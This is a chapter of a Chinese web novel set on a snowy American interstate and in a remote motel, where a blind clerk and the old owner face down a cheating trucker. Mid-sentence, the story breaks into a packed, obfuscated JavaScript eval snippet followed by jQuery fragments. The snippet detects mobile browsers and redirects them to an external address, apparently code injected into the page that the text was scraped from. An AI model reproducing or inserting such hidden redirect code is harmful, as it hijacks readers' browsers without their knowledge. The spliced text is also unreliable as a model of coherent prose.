1996年，冬，圣诞节前夕。


    一辆十八手小轿车行驶在茫茫无际的洲际公路上。


    副驾驶的黑发年轻人丹尼尔·勒格朗倒了倒纸袋，饼干屑洒了他一裤子，“嘿，塞西尔，坏男孩儿，竟然趁我不注意吃光了所有的姜饼人。”


    驾驶座上，金发的塞西尔·佩兰斜乜对方一眼又收回，正视前方悠悠道：“正如你一口气吃完了全部的牛肉干。”


    丹尼尔“嘿嘿”一笑，靠到塞西尔肩膀上蹭了蹭，“你知道的，我大胃王嘛~原谅我嘛~”


    塞西尔嘴角抽了抽，瞅了眼“大鸟依人”的丹尼尔，“坐回去，出了车祸，别说今年，往后一生都别想我再给你烤饼干。”


    “噢！我就知道塞西尔最好了！”丹尼尔欢快地抱住塞西尔“muma”一口，高大的身躯盖住塞西尔的视线。


    “卧槽！”


    小轿车蛇形前进，与一辆货车惊险擦过。货车司机的破口大骂顺着风飘荡在空气里。


    塞西尔皮笑肉不笑，腾出一只手一拳砸在丹尼尔头上，“你要死呀？”


    丹尼尔自知理亏，缩在副驾驶上没敢躲，讪讪笑道：“对不起啦，塞西尔，我只是太激动了。”


    塞西尔刚想教训对方几句，车载无线电里突然传出诡异的呼救。


    “救命！我在洲际80号公路往东，刚刚经过詹姆镇，有个杀人犯抓住了我！救我！”


    塞西尔和丹尼尔对视一眼，丹尼尔接入频道，“嘿？你在哪？”


    “听着，他将在距离詹姆镇最近的汽车旅馆停车过夜，救我！救我！天呐，他来了……”


    “哈喽？”丹尼尔皱着眉头松开通话按钮，“她挂断了。”


    “杀人犯？真的假的？”塞西尔和丹尼尔都是第一次遇见这种事，毫无经验。


    “19频道，19频道，洲际80号公路，詹姆镇附近，刚才的事情有其他车队听到吗？”丹尼尔决定求助。


    “愣头青，你相信了？”


    “那不是很常见？电影里，洲际公路上总是容易出现杀人魔的传说。”


    “哈哈，公路上的尸体确实不少见。”


    “嘿，各位，所以那只是个玩笑吗？”丹尼尔询问。


    “相信我，百分百。不过如果想去看也可以去看看，也许你会碰见一个身材火辣的美妞，当然，可能身边还有她的护花使者。”


    “小心被揍得满头包哦。”


    丹尼尔耸肩，“估计只是个玩笑。”


    “啊哦……”塞西尔看了眼油箱指示针，即将飘红，“不妙啊。”


    丹尼尔打开地图看了看，“没关系，距离我们5英里左右有个小镇。嗯？巧了，那镇子叫詹姆镇。”


    塞西尔和丹尼尔对视一眼，都在对方眼中看到了兴致勃勃。


    “去看看？”塞西尔问。


    “天色还早，不是吗？”丹尼尔脸上露出一个大大的笑。


    可，那并不是一个好主意。


    ·


    2001年，冬。


    孤寂之星汽车旅馆的玻璃门被一只古铜色的手推开，伴随着风铃“叮叮当当”的是顺着敞开的门而蹿入的冷风。


    站在前台工作的塞西尔·佩兰没忍住打了个寒颤，不过他依旧扬起热情而温暖的笑容招待客人，“下午好。”


    “一间房，一天。”货车司机打了个哈欠，看起来没精神极了，“我已经一天一夜没睡了，最好别让任何人打搅我。”


    “好的先生，15号房。承蒙惠顾，40美元。”塞西尔摸索着从前台抽屉里找到钥匙，通过手指与金属的摩擦辨别钥匙上的编号。这是一项细致的工作，尽管塞西尔已经工作了大半年，但还是稍微费了些时间。


    货车司机刚打了半个的哈欠停下来，他注意到塞西尔不同寻常的动作。


    货车司机的目光在附近巡视一圈，很快意识到整个前台只有三个人——他，一个似乎瞎了眼睛的服务员以及一个行动迟缓正在为即将到来的圣诞节而装扮旅馆的迟暮老人。


    一残一老，多少合适的受欺负对象。货车司机想：不过他可不是那种没品的家伙。


    他只是觉得一个破烂汽车旅馆，只住一个晚上，实在不值得40美元。


    货车司机想着从钱包里掏出来两张5美元面值的钞票，口中却说：“20美元，两张，你数好了。”


    说罢，抄起钥匙就要上楼。


    谁知手腕一沉，货车司机原本就心虚，这时更像是被抓住小尾巴一样跳脚起来，“干什么，松手！”


    “先生，我想您拿钱时不小心拿错了，请给出正确的面值哦。”塞西尔面带微笑地说。


    他面容清秀，双目无神，但货车司机却感受到了一股莫名其妙的压迫感。


    “什么拿错没拿错？别无理取闹了！听着，听好了，我，已经一天一夜没睡了！可没那么好的脾气！”货车司机决定以恐吓的方式解决问题。


    塞西尔皱了皱眉头，抓住货车司机的右手松开，微微矮身，左手从前台柜中取出什么。


    货车司机还以为塞西尔被吓到了，心中暗嘲真是个胆小鬼，却突然听之前一直背对着他们装扮旅馆的老人笑了一声。


    笑声沙哑而短促，就像一把刀猛地摩擦过一张砂纸。


    货车司机被笑得心中升起一团火气，恶狠狠地抬头，正对黑黢黢的枪口。


    货车司机：“……”


    老人一手持枪瞄准货车司机，一边慈眉善目地朝塞西尔笑道：“别激动，亲爱的塞西尔，这个可怜的、一天一夜没睡觉、现在脾气要像火山一样爆发的家伙，一定只是看错了钞票面值。相信我，他会改正这个错误的，你说是吗？”


    最后一句是跟货车司机说的。


    货车司机还能说啥，枪都指到脑门了，没错也得改，更何况他确实有赚便宜的打算。


    货车司机尴尬地笑了两声，十分干巴，“不好意思，确实是我看错了。”


    说完手忙脚乱地从钱包里又取出了三十美元，连同之前的十美元一股脑推到塞西尔面前。


    “我车还没停好，钥匙先不着急拿……我先去停车哈。”货车


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776296|190073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    司机怂哒哒地转身跑了出去。


    不一会儿，外头传来汽车引擎发动的轰隆声。随即，这声音渐行渐远。


    “怂货。”老人嗤笑一声，从塞西尔左手夺走闪着锋利冷光的手术刀扔进柜台里，转而将手枪塞进对方手中，“多用用这个，现在可不是冷兵器时代。”


    塞西尔歪头看了看手上泛着金属冷感的手枪，在这寒冬腊月之中，似乎要比以往要冰凉一些。


    勾着枪托在手指上转了一圈，感受着不同于手术刀的垂重感，塞西尔将手枪抛回老人，“自己拿着防身吧，今天不是要走？路上用。”


    “呵呵，这可不是老西部了。”话虽这样说，不过老人没有拒绝塞西尔的好意，“说真的，塞西尔，你真不打算和我一起回家吗？我妻子和孩子们都很喜欢你，如果你不介意，他们很乐意将你视作一家人。”


    “得了吧，老詹姆，我可不想跟你某个孙女结婚。”顿了顿，想到往事，塞西尔又补充了一句，“当然了，某个孙子也不行。”


    老人愣了愣，不由得捧腹大笑，“看来你真是被唐尼吓到了。”


    唐尼是老詹姆最小的孩子，和眼前的塞西尔一样年纪。


    老詹姆还记得，一年前他买下这栋旅馆，以便闲暇时间打发无聊的时光。


    那天是他第一次去旅馆检查自己的财产，唐尼死缠烂打非要跟来，正好碰到了来投宿的塞西尔。


    塞西尔长相清秀，但全身却散发着某种孤寂而神秘的气质，令没见过世面的唐尼当场沦陷。


    唐尼向塞西尔展开一系列啼笑皆非的追求，直到塞西尔抓住唐尼狠狠揍了一顿，才压制住唐尼如洪水般泛滥的情意。


    不过为了纪念这段痛并快乐的日子，唐尼缠着老詹姆将旅馆名称改成了现在的“孤寂之星”。


    塞西尔会留在旅馆工作，也多亏了唐尼。


    那时，唐尼听说塞西尔准备在詹姆镇附近找个地方停留一段时间，于是拼命祈求，才让塞西尔同意留下。


    唉，真是一段令人怀念的快乐时光。


    塞西尔一看老詹姆那憋着坏水的笑就知道他在想什么，不由得翻起白眼。


    “那就先走了，趁着天还亮。等到了晚上，可不好走。”老詹姆将没装饰完的彩球丢向塞西尔，“记得把外边的圣诞树装饰好，明天可就圣诞节了。”


    “喂，我好歹是个盲人呢！”塞西尔口中抱怨着，手却精准地接住差点儿擦过他肩膀落到地上的彩球。


    老詹姆嗤笑一声，朝塞西尔竖起中指，这小子看起来乖巧无害，实际上恶趣味十足，“接下来一周，旅馆就拜托你了。如果店里少收一美分，双倍从你薪水里扣。”


    话语间，老詹姆已经穿好大衣。


    将挂在衣帽架上的围巾取下围在脖颈间，戴好棉手套的老詹姆拉开旅馆的玻璃门，刚走出门，又将脑袋探入门内，喊道：“嘿，塞西尔，小厨房里有我留的半成品姜饼人，有时间记得烤去吃。别和去年一样，一直留到我回来，面饼都发霉了。”


    塞西尔摆摆手，示意听到了。